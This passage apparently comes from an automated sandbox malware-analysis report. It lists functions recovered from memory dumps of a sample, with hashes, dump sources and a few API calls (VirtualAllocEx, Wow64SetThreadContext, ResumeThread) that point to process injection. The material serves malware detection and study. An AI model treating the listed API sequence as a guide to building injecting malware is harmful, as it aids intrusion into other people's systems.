Opcode ID: 079a9681b0d8d57cbbaf67403af922325672c677a1fae3659b8af68a0f329226
Instruction ID: dfbd7089d83926f9d8822f65ea1df8bbefe8d3881f985fd1cc0c6da0bc92289d
Opcode Fuzzy Hash: 079a9681b0d8d57cbbaf67403af922325672c677a1fae3659b8af68a0f329226
Instruction Fuzzy Hash: BF31B8B9D002489FCF10CFA9D885ADEFBB1BB49310F20A42AE815B7350D735A906CF64

Function 05D0C208 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05D0C2B2

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 74ad1db184a07b413376db02e0ddc073c2b8ad6bd29f1cd99a1b4b6d723cecee
Instruction ID: 8d1957d3294516d5a7f8df1fb044d1abd9ab7868fc144b14463bf273f8166797
Opcode Fuzzy Hash: 74ad1db184a07b413376db02e0ddc073c2b8ad6bd29f1cd99a1b4b6d723cecee
Instruction Fuzzy Hash: 6A31A8B9D002589FCF10CFA9D984ADEFBB1BB49310F10A42AE815B7350D735A945CF68

Function 05D0C0D8 Relevance: 1.6, APIs: 1, Instructions: 97threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05D0C18F

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ad787a234277febb0de3c55e7c925a8fd134fc0404bf839470da5696265452d6
Instruction ID: fecbeba52cd0efaebceadd9fe6e45b88388d08f69e4c212e53b4fcbbd1835686
Opcode Fuzzy Hash: ad787a234277febb0de3c55e7c925a8fd134fc0404bf839470da5696265452d6
Instruction Fuzzy Hash: E941DCB4D112589FCB14CFA9D885AEEFBF1BF48310F24902AE419B7240C738A945CF95

Function 05D0C0E0 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05D0C18F

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d7830f030b2a5db0bf85145576417705195cd335ec665d7d4d1c7f43123a9803
Instruction ID: a5e61bc6a87dc8ca6a8e6b467d2e5aa88899b8a2a7d00eebbd3dcc1f18d5647f
Opcode Fuzzy Hash: d7830f030b2a5db0bf85145576417705195cd335ec665d7d4d1c7f43123a9803
Instruction Fuzzy Hash: 9431CDB4D112589FDB10CFA9D884AEEFBF1BF49310F24902AE419B7250C778A945CF54

Function 05D0BFE8 Relevance: 1.6, APIs: 1, Instructions: 77threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05D0C06E

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4511e1b22f634f90531120ff01890a50776603b5cfa0c10244a390fb713f8a6d
Instruction ID: 423ede567f405fad1e0ca538f4a63775dcd0efc2d8865a02dffac131c3f83e42
Opcode Fuzzy Hash: 4511e1b22f634f90531120ff01890a50776603b5cfa0c10244a390fb713f8a6d
Instruction Fuzzy Hash: E031EBB4D102089FCB14CFA9D881A9EFBB1EB49310F14942AE819B3350C735A845CF98

Function 05D0BFF0 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 05D0C06E

Memory Dump Source

Source File: 0000000A.00000002.1905874456.0000000005D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5d00000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: fb32ad3b642f5894d61f6fd9ff4690d4206e2fdfd0493217db3901676868fb91
Instruction ID: cfaccec39307e13ded6d450c1059239eaad6b2d1e59e869085a4d6cb47efbf3e
Opcode Fuzzy Hash: fb32ad3b642f5894d61f6fd9ff4690d4206e2fdfd0493217db3901676868fb91
Instruction Fuzzy Hash: 2B31CCB4D002189FCB14CFA9D884A9EFBB5FB49310F10942AE819B7350C735A941CF98

Function 05EB7D81 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

d8cq, xrefs: 05EB8190

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: d8cq
API String ID: 0-3601494702
Opcode ID: cb93ef9d59a10c7d427280eea03f7bcff5c7f07b53aae28ff9f8355b039a5950
Instruction ID: bd4a77ea100a93a2fd7ece7eb3d91b6c16b51d674c320f8e499f8554887a8e2e
Opcode Fuzzy Hash: cb93ef9d59a10c7d427280eea03f7bcff5c7f07b53aae28ff9f8355b039a5950
Instruction Fuzzy Hash: A7615E31A042188FEF19DF68D854AEE7BF6FF88716F145169E842A7390DB719C41CBA0

Function 05EB7999 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05EB7A3C

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 6d5b0c0ef9eff1d520ab6256a8249d9a0024932ddf93489a95a2987ddf09f2eb
Instruction ID: 805668501fd529c3341ce1bc72867e40e84942a6f69f8830716cdd3262545637
Opcode Fuzzy Hash: 6d5b0c0ef9eff1d520ab6256a8249d9a0024932ddf93489a95a2987ddf09f2eb
Instruction Fuzzy Hash: AD21D171A00208AFEB459B78DC01BFE3FBAEBD4301F10C5A5E645DB684DB399E028790

Function 05EB79A8 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05EB7A3C

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 2fe8e5239a6c3efbd16916eb78c361b1cc72172e401ff696a6d3cc0a76c1f162
Instruction ID: 412d71b1c7329c7be89dfb2efa92c14fbad48fc1ddfdbf7fc204cb235a76c01f
Opcode Fuzzy Hash: 2fe8e5239a6c3efbd16916eb78c361b1cc72172e401ff696a6d3cc0a76c1f162
Instruction Fuzzy Hash: C2219F71A00108AFEB459B78DC45BFE3FB6EBD4301F10C465E645DB284DB749E068790

Function 01AF4511 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

I, xrefs: 01AF4511

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: eceb4eb3fdd5ffe40f302cb6423b3097d2a58c08dbcc1716c04796b33febc84f
Instruction ID: 24478e8a53b5c617a38ccc0a9be9c10fd175d25e79cefb40b16c02f8147183d6
Opcode Fuzzy Hash: eceb4eb3fdd5ffe40f302cb6423b3097d2a58c08dbcc1716c04796b33febc84f
Instruction Fuzzy Hash: 53218B74A04228CFEB65DF64D944B9ABBB1BB4A305F14A2EAD449A3244DF715E80CF02

Function 01AF2BA7 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

", xrefs: 01AF2C06

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: c9d6acea30785930fe536cff05f6fc5430a7aca074e72739fac7c767e1299fef
Instruction ID: 132a92de7aee0f986d9182c089fa1b7831aed9d86b0334aaf3d12c65a451ff37
Opcode Fuzzy Hash: c9d6acea30785930fe536cff05f6fc5430a7aca074e72739fac7c767e1299fef
Instruction Fuzzy Hash: 33F09774D06219DFEB60DF69D994B9ABAF0FB48311F1040E9E559E3386DB309A80CF41

Function 05EBE168 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0a5960c940cb4db22141da0153cfb34edb48adec77810d429aa1f1e2f34636
Instruction ID: 0fe7b99a749bf7f254957fa622dbc21f059d910e2f1ee8ba18b9bbbc24fd76d2
Opcode Fuzzy Hash: ab0a5960c940cb4db22141da0153cfb34edb48adec77810d429aa1f1e2f34636
Instruction Fuzzy Hash: D0712370E043189FDB05DFA9D894ADEBFF2FF89300F24806AE549AB265DB345849CB51

Function 01AFCD28 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363c247992cf99df838d53f76e22169248be52e88fdaacb0dde7420b2507cb11
Instruction ID: b24fbbb5f8449eafca44b2be1e3d038ca632784ed4c1283ade64e5a73f226127
Opcode Fuzzy Hash: 363c247992cf99df838d53f76e22169248be52e88fdaacb0dde7420b2507cb11
Instruction Fuzzy Hash: 9F61CEB4D002188FCF15DFE9C944AEDBBB2FF88310F24812AE509AB258DB355A85CF51

Function 05EBE1A8 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb497a9350637c1b40ee84587b57828bfe011fdf53239e2850b2b167fec13d48
Instruction ID: f62b27878b86f9ace7627dd1cef5794d276ddef735d4f351096f94ddc5e2a2ee
Opcode Fuzzy Hash: bb497a9350637c1b40ee84587b57828bfe011fdf53239e2850b2b167fec13d48
Instruction Fuzzy Hash: C261B174E002089FDB04DFA9D994AEDBBF6FF88301F208129E519AB365DB716945CF50

Function 05EB62E9 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b40b34a03cd0b91347c4856636a634c2db3dc885347d7a23fe57204546f3a20
Instruction ID: 220302e4673b4dd05995d84544ed58510e811aaced176cbe2061ac65fb512269
Opcode Fuzzy Hash: 1b40b34a03cd0b91347c4856636a634c2db3dc885347d7a23fe57204546f3a20
Instruction Fuzzy Hash: 0751C170E00219CFDB14DFA9D944AEEBBF2BF89305F109529E41AAB354EB709946CF41

Function 05EB8657 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9f88e8820456e89e3f0a986211a1192adb8d1efe4672f2b545f6c59455c76eb
Instruction ID: efd3f672bc3d0a3f96f8d21abf364d5ccb069ad28e907786a3b6882fd1449172
Opcode Fuzzy Hash: e9f88e8820456e89e3f0a986211a1192adb8d1efe4672f2b545f6c59455c76eb
Instruction Fuzzy Hash: C3416A3560022A9FDF16DF64D884AAE7BB7FF94316F148524E806D7394CB749C92CB90

Function 05EB60A8 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69d955cb54a83168178c19d681f749ff293241aec3f59cab70a036b7faa9d3b6
Instruction ID: c661d786c9a74fb1660ba7e8b9fde522a2324b86476fffc3f31306726d0ce985
Opcode Fuzzy Hash: 69d955cb54a83168178c19d681f749ff293241aec3f59cab70a036b7faa9d3b6
Instruction Fuzzy Hash: 4931D374E002199FCF09DFAAD8406EEBBF6FF88301F10852AE409A7364DB3559428F91

Function 05EB81B8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69025fe8ebde536da570d8149f8a102353de53f32038f125b7b66905d8367f8a
Instruction ID: 33cacb373d3f34cce06a7090d1772be2b945b7cb25695ebd6af32dcd33aefeda
Opcode Fuzzy Hash: 69025fe8ebde536da570d8149f8a102353de53f32038f125b7b66905d8367f8a
Instruction Fuzzy Hash: 5C219D35B442068FDF10DFA8C484AAE7BB6FB89321F146466E905DB361DB70E841CBA1

Function 01AFD3B8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9b7ea8d0d7c53a76cdb371c51488b6da13d960bd06d03aa632d604f00bd0db0
Instruction ID: 08c0c1c5436359dc5c164a952986bc1ec1f6faa41fa893ae44449ce37fb194ab
Opcode Fuzzy Hash: b9b7ea8d0d7c53a76cdb371c51488b6da13d960bd06d03aa632d604f00bd0db0
Instruction Fuzzy Hash: DF2116B4E0420ADFCB15DFE9D0446AEFBB1FB48301F14856DEA19A7246D734A985CF90

Function 05EBE4CF Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b78c146deb4f1d04689d84ade0c1e42315824f11b0952ffc56b444ec609d67e
Instruction ID: a38d2d0bd4095efad17be68962a385f30ec779d242fd1c847af3c7c29e9f85ae
Opcode Fuzzy Hash: 8b78c146deb4f1d04689d84ade0c1e42315824f11b0952ffc56b444ec609d67e
Instruction Fuzzy Hash: 8E119071E012199FDF01DFA9D844AEFBBB9FB88211F00846AE955D3241D3709A15CBA0

Function 01AF0CB1 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfb50c108df8acda7134b11ad24adf9a6743a7fe61b0f28bb18e5b758ec84330
Instruction ID: 9c2a96307df3f664af41b0882954437c82a9a68d5f143004df8e0a6a8b9947f9
Opcode Fuzzy Hash: dfb50c108df8acda7134b11ad24adf9a6743a7fe61b0f28bb18e5b758ec84330
Instruction Fuzzy Hash: 3511EC3080E344CFCB21CBB9A9647787BF5AB96300F484889E40887267D7706916CB92

Function 05EB54A8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f37a50b3593882a9c7d084c47115e938369eedf4004ce1e8ecec33d9eaff06a6
Instruction ID: efd8a0ccb607c15fed29535a1dc0900c5b9a9e0357f26eb13843704b363362da
Opcode Fuzzy Hash: f37a50b3593882a9c7d084c47115e938369eedf4004ce1e8ecec33d9eaff06a6
Instruction Fuzzy Hash: AB11E3B4D04209DFDB05DFA9D5816EEBFF2BB48301F2090AAD855A3354E7704A41CFA1

Function 05EB54B8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cdf75fee448752a8fa7f800afd93e8fa66c4cc8c3db900657a57e972ccfc321
Instruction ID: 4251c4f22bb4bff19cc197dd8b6ccadc39fbd34f70c7338be22d54e0f03be492
Opcode Fuzzy Hash: 0cdf75fee448752a8fa7f800afd93e8fa66c4cc8c3db900657a57e972ccfc321
Instruction Fuzzy Hash: F21190B4D0420ADFDB04DFA9D5856EEBBF2BB88301F2081AAD819A3354E7705A41CF91

Function 01AFD048 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28e302e41c44233ae8e86185760387a041d474a063bbe1670b6ae94d22d968a7
Instruction ID: a4481aa4e37965317962fa6473b3bd66aa422529a765dfe88c881faaf251cf9f
Opcode Fuzzy Hash: 28e302e41c44233ae8e86185760387a041d474a063bbe1670b6ae94d22d968a7
Instruction Fuzzy Hash: AF11B0B4D04209DFDB55DFE9D9446AEBBF5FB48311F10886AD919A3344EB301A418B81

Function 05EBF63F Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f55e60fe5881253516b9d5d851ed821da5d98654e98dfe51acd22531a783bfc
Instruction ID: 3fd2d031f270ff86101bec8776379539b651df0835a82c6e727d8225dd83e91e
Opcode Fuzzy Hash: 3f55e60fe5881253516b9d5d851ed821da5d98654e98dfe51acd22531a783bfc
Instruction Fuzzy Hash: 86F04F31D0520DFFCB55EFA8D845ADDBBB5FF05300F0081A9E854A2220E7709A59DF80

Function 01AF0838 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 298dccf9bfb41608e447baa140531fa049efbb872497309bff03de9c35ca1344
Instruction ID: 23e327a7a448f0e62e17b9cecaac41e211b8c782d1ecbdef83ae0983fc8edb3f
Opcode Fuzzy Hash: 298dccf9bfb41608e447baa140531fa049efbb872497309bff03de9c35ca1344
Instruction Fuzzy Hash: 82F05EB28093908FD7178BA898252B43FB5AF27315B4D058EE549CB153E316450BDBD2

Function 05EB6681 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 052471d152aa9d5ab3cf50fa356d09ab02cb5066c3217cef8f3ab2ec3fe07577
Instruction ID: 1cd54eee943fddc17d190e7ab4a0e5bbcc68d87f13138e54c80e37922de174ec
Opcode Fuzzy Hash: 052471d152aa9d5ab3cf50fa356d09ab02cb5066c3217cef8f3ab2ec3fe07577
Instruction Fuzzy Hash: 0AF03731904209EFCB41DFA8D414ADEBFB1EB09301F0081A9E85896320E7358AA5DF80

Function 05EBE448 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f63ab0c3796788d58b4762768b52ec2a509f1fb8cdb2a564e86760de7f876e72
Instruction ID: 2077358801522b7bcfffb3f332e32af27927d83e708e8d47f3c93b72d000851b
Opcode Fuzzy Hash: f63ab0c3796788d58b4762768b52ec2a509f1fb8cdb2a564e86760de7f876e72
Instruction Fuzzy Hash: 28E06539304658AB9F0A1F159814CFF3F6EEBC82227048459FD55C2200CA75C92197A1

Function 05EB6690 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b851980843bbafb9598835924bc704946f7c8c2257f8c2e3866499a9d115a2c
Instruction ID: c22e35f8d2884882ef25036cdc13e3117fc30b32b598ae2e09e91940db2d5111
Opcode Fuzzy Hash: 5b851980843bbafb9598835924bc704946f7c8c2257f8c2e3866499a9d115a2c
Instruction Fuzzy Hash: 93F0B734D0420DEFCB51EFA8D8059DDBBB5FB09301F0081A9E859A6224E7719AA5EF81

Function 05EB81A9 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f59a3f691b196c8cc5323cd9428cbdfb668bcb442740ab3c1d6d5fac1298145
Instruction ID: 7b6a6c654ed1e8bb02645be6c84457469b750439076491350dc28c46c9d558fd
Opcode Fuzzy Hash: 8f59a3f691b196c8cc5323cd9428cbdfb668bcb442740ab3c1d6d5fac1298145
Instruction Fuzzy Hash: BCE0DF32655308ABEF20A9A9EC88BE77FACF764272F005232FA01C2741E77580158670

Function 01AF0D18 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1879874619.0000000001AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 01AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1af0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e8c7c8d79ec85fe388ba8e36c4df0bc3b14d62677d204c97ff63d03fbcee8ba
Instruction ID: b4b6d30768d955a2437491ea6b32ff44999eb04471cfeae6be9174bd6c84eb1f
Opcode Fuzzy Hash: 2e8c7c8d79ec85fe388ba8e36c4df0bc3b14d62677d204c97ff63d03fbcee8ba
Instruction Fuzzy Hash: 1BF0A060809248AFCB22DFF9A9143A8BFB9AB16300F4464CAF44997183D7712948DB21

Function 05EBE439 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 057eca5df34859a0325ac592dff97f249a59e41cd62ac95113e96db6a9440d77
Instruction ID: 5bed13f175874090687912f0e703312e44abd81097df2d987da227fcbf423123
Opcode Fuzzy Hash: 057eca5df34859a0325ac592dff97f249a59e41cd62ac95113e96db6a9440d77
Instruction Fuzzy Hash: 4DE061352097916BDF075B195814CBF3F5D9BC511270480A6FC45C6201C920C8248BA2

Function 05EB5418 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22a8ce5cb06174125564a440e5ef9db670f66e5d463228d84d72800d32e470ef
Instruction ID: e0e96bbd3ef922523b621ca395a9eb235a7255d7ea00d2091d7de603b5003331
Opcode Fuzzy Hash: 22a8ce5cb06174125564a440e5ef9db670f66e5d463228d84d72800d32e470ef
Instruction Fuzzy Hash: E7E09230845208AFD740DFBCD8057E9BFB4EB04212F5042AAD846D3750EB745941CB42

Function 05EB6299 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ed9f11054747c5ef2d246f7d84e5b141e0210ae8ca791d469f780e7ae04641
Instruction ID: 4757879fc1fc2b96f5d6808328f50485c37f647708d8c8a64d91afac5c4d72bf
Opcode Fuzzy Hash: 81ed9f11054747c5ef2d246f7d84e5b141e0210ae8ca791d469f780e7ae04641
Instruction Fuzzy Hash: 71E06D74D49208EFDB50EFA8D8057EDBBF4EB08301F5092A9E814E3340D3745A058F85

Function 05EB5461 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1906577026.0000000005EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5eb0000_oOMgVil3z78TF92yUiI1jBjJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed2442b93f3ae22af0228dc476344eb5c4be2215af26264098884ee9545f8913
Instruction ID: 1cb2dc37b9bddff7661042e02a596330cffdfcab34f8c27f545a5c5900ba87cf
Opcode Fuzzy Hash: ed2442b93f3ae22af0228dc476344eb5c4be2215af26264098884ee9545f8913
